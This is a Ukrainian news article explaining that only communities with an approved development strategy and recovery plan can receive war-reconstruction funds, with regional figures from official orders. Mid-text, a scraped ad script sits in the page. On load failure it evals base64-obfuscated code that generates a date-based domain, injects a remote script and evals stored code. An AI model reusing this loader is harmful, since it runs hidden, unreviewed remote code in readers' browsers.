Тема Стратегій
регіонального розвитку на багатьох навіває сум. Але… ця тема зараз надактуальна.
Війна. До чого тут Стратегії розвитку регіонів та громад? А питання у відбудові. В тому, що план
відбудови буде розроблятись, прийматись та реалізовуватись в руслі
стратегування. За тими самими нормативними вимогами. І буде фактично частиною
Стратегії розвитку. Звісно, у зруйновних громадах, для початку питання буде про
відновлення. А вже потім про розвиток.
І ось тут
починається саме цікаве. Бо кошти на відбудову отримають лише ті громади, у
яких є Затверджена Стратегія розвитку.
А таких громад в
Україні 87%. Всі області мають затверджені Стратегії регіонального розвитку. За
формальним принципом, ні, але вони матимуть доступ до зовнішніх коштів на
відновлення. А далі може бути відкладений соціальний конфлікт через відмову у фінансуванні відновлення наприклад,
житлового будинку або ТЕС, школи чи амбулаторії в громаді без затвердженої Стратегії
розвитку. Бо вони фінансування можуть не побачити. Картину за даними
Мінрегіону про кількість та відсотки
затверджених/підготовлених/не розроблених Стратегій громад з розбивкою по регіонам можна побачити нижче.
При цьому, кошти
на відбудову надаються громадам, які
знаходяться в зоні бойових дій чи тимчасово окуповані. Що визначається та актуалізується Наказом
Мінреінтеграції. https://www.minre.gov.ua/doc/doc/96 Останній
Наказ №206 від 13.09.2022 визначає що станом на 13 вересня 2022 року до
оновленого переліку входить 327 громад з 9 областей:
Донецької (66),
Харківської (56),
Дніпропетровської
(10),
Луганської (37),
Запорізької (56),
Херсонської (49),
Миколаївської
(26),
Сумської (22),
Чернігівської
(5).
З переліком цих
громад можна ознайомитись тут: https://www.minre.gov.ua/sites/default/files/field/docs/dodatok_do_nakazu_0.pdf
Перелік
доповнився Марганецькою міською територіальною громадою Нікопольського району
Дніпропетровської області.
Зазначений
перелік формується за погодженням Міноборони на підставі пропозицій відповідних
обласних та Київської міської військових адміністрацій. У процесі визначення
таких територій спираються на три ключові критерії. Це:
території, що є
тимчасово окупованими;
території, що
перебувають в оточенні (блокуванні);
території, на
яких тривають активні бойові дії. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Усі внутрішньо
переміщені особи з цих громад отримають грошову допомогу від держави.
Але не всі
зможуть отримати кошти на відновлення. А лише ті, чиї громади мають затверджену
Стратегію розвитку громади і розроблений та затверджений План відновлення.
Переліку цих громад у відкритому доступі нам не вдалося знайти. А обласним
радам, облдержадміністраціям, Мінрегіону варто було б забезпечити відкритий
доступ до переліку цих громад.
Тож, для
отримання коштів на відновлення, згідно ЗУ “Про засади державної регіональної
політики», Постанови КМУ №932 необхідно:
Бути у переліку
громад, розташованих в районах проведення бойових дій або які перебувають в
тимчасовій окупації, оточенні та Мати затверджену Стратегію розвитку громади і
План з відновлення.
На сьогодні
законодавство встановлює саме такі рамки.
Без переліку
громад, що мають затверджені Стратегії розвитку важко порахувати кількість
громад, що зможуть отримати зовнішнє фінансування на відновлення в
Чернігівській, Сумській, Дніпропетровській, Запорізькій та Миколаївських
областях.
Але вже зрозуміло
що на таке фінансування зможуть претендувати:
у Харківській
області-30% громад;
у Луганській
області-62%;
у Донецькій
області-50%;
у Херсонській
області-49;
Тож всім,
хто оперативно не займався
стратегуванням, зараз доведеться пришвидчитись. Це стосується як органів влади,
так і мешканців. Які вже зараз можуть задавати владі питання чи є Стратегія,
План з відбудови, як прийняти участь у
створенні цих дороговказів для відбудови та подальшого розвитку. А щоб вам було
легше, ми створили відео-посібник. Який є у відкритому доступі: https://www.youtube.com/playlist?list=PLwTfcQBCaT7KPZSkJ7tcvojLR4LdAK0Xl
І про це потрібно
думати вже зараз.
Більше інформації
на нашому Youtube-каналі — https://www.youtube.com/watch?v=uTM__Vw3hr8 t=607s
Та веб-сайті- www.захист.zp.ua
Статтю розроблено ГО «Народний
Захист» в рамках проекту, який виконує Інститут
висвітлення війни та миру (IWPR) за підтримки МЗС Королівства Норвегії.
Проєкт ГО «Народний Захист»- «Стратегічний роз-ПИЛ».
Думка та позиції, висловлені у цьому відео не обов’язково відображають позицію МЗС Королівства Норвегії та Інституту висвітлення війни та миру (IWPR). (adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/skilki-gromad-ne-otrimayut-koshtiv-na-vidnovlennya/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
